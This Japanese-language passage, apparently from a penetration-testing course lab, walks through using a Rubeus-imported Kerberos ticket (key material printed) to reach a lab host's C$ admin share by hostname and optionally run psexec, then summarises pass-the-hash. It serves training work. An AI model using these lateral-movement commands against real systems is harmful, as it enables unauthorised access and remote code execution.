HzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmhpYm94eS5jb20=
[+] Ticket successfully imported!
ServiceName : krbtgt/hiboxy.com
ServiceRealm : HIBOXY.COM
UserName : antivirus (NT_PRINCIPAL)
UserRealm : HIBOXY.COM
StartTime : 10/2/2024 12:22:07 PM
EndTime : 10/2/2024 10:22:07 PM
RenewTill : 10/9/2024 12:22:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : CSQy3TpVzXLp4TCC9yGkvQ==
ASREP (key) : 47F0CA5913C6E70090D7B686AFB9E13E
まず、現在持っている認証情報を使用して10.130.10.21にPsExecできないことがわかります。これを解決するために、以前に取得したハッシュを使用してantivirus
ユーザーとしてTicket-Granting Ticketを取得します。
Rubeusの使用方法により、この新しいTGTは(/ptt
オプションを介して)現在のプロセスに注入されます。良いニュースは、Windowsがサービスチケットの取得を自動的かつ透過的に処理することです(コース教材のKerberosセクションで「紹介を求める」と呼ばれるステップ)。ただし、サービスを**名前**で要求しない場合、Kerberosを使用しません(実際にはService Principal **Names**に依存します)。
まず、IPアドレスでSMB経由でJUMP01.hiboxy.com(10.130.10.21)にアクセスし、隠された管理共有C$にアクセスを試みることで、この問題を実証しましょう:
コマンド
dir \\10.130.10.21\C$
想定される結果
PS C:\Users\sec560> dir \\10.130.10.21\C$
Get-ChildItem: Cannot find path '\\10.130.10.21\C$' because it does not exist.
これはペネトレーションテスターにとってよくある混乱のポイントです。Kerberos経由でアクションを実行する場合、通常、IPではなく名前でアクセスする必要があります。ペネトレーションテスターとして、この問題を解決するための2つの主なアプローチがあります:
- hiboxy.com配下の任意のホスト(または一般的にはクライアントのActive Directoryドメイン)のリゾルバーとしてクライアントのドメインコントローラーを追加する
- hostsファイル(
C:\Windows\system32\drivers\etc\hosts
)を編集し、必要なエントリを手動で追加して、DNSを完全にバイパスする
幸いなことに、hiboxy.com配下のエントリのDNSリゾルバーとしてDCを既に追加しているので、解決が正しく機能していることを単純に示し、その後、同じサーバー(JUMP01.hiboxy.com / 10.130.10.21)に名前を使用してアクセスできます:
コマンド
Resolve-DnsName JUMP01.hiboxy.com
dir \\JUMP01.hiboxy.com\C$
想定される結果
PS C:\Users\sec560> Resolve-DnsName JUMP01.hiboxy.com
Name Type TTL Section IPAddress
---- ---- --- ------- ---------
JUMP01.hiboxy.com A 1200 Answer 10.130.10.21
PS C:\Users\sec560> dir \\JUMP01.hiboxy.com\C$
Directory: \\JUMP01.hiboxy.com\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/18/2021 11:24 PM EFI
d---- 5/8/2021 1:20 AM PerfLogs
d-r-- 9/25/2024 8:36 AM Program Files
d---- 7/11/2023 7:40 PM Program Files (x86)
d-r-- 9/25/2024 8:11 AM Users
d---- 9/25/2024 8:09 AM Windows
より多くの時間がある場合は、オプションのステップとして、このコマンドプロンプト内でpsexec \\JUMP01.hiboxy.com cmd.exe
のようなものを実行して、ターゲットマシンでコード実行を取得することもできます。
クリーンアップするには、Windows VMのPowerShellウィンドウと、Linux VMのすべてのターミナルウィンドウを単純に閉じてください。
結論
このラボでは、ユーザーのハッシュ(パスワードではなく)を使用して、管理ユーザーとしてSMB経由でターゲットマシンに認証しました。Metasploitのpsexec
モジュールを使用してハッシュを渡しました。これらの技術は、ターゲット環境からハッシュを取得し、ターゲットのWindowsマシンへの*SMB*アクセスを持っているペネトレーションテスターにとって非常に有用です。
他のプロトコルもPass-the-Hash攻撃の影響を受けやすいです。基本的に、チャレンジ/レスポンスプロトコルの秘密がハッシュである場合、そのハッシュを使用して認証できます。オンプレミスのWindows認証以外の例はあまり一般的ではありませんが、存在します。
たとえば、PostgreSQLデータベースサーバーは、チャレンジ/レスポンス認証にMD5ハッシュを使用しており、Pass-the-Hashの影響を受けやすかったです。デフォルトでSCRAM-SHA-256に移行しましたが、古いMD5ハッシュは下位互換性のためにまだサポートされています。
興味があれば、脆弱性を説明するHashcatフォーラムの投稿があります。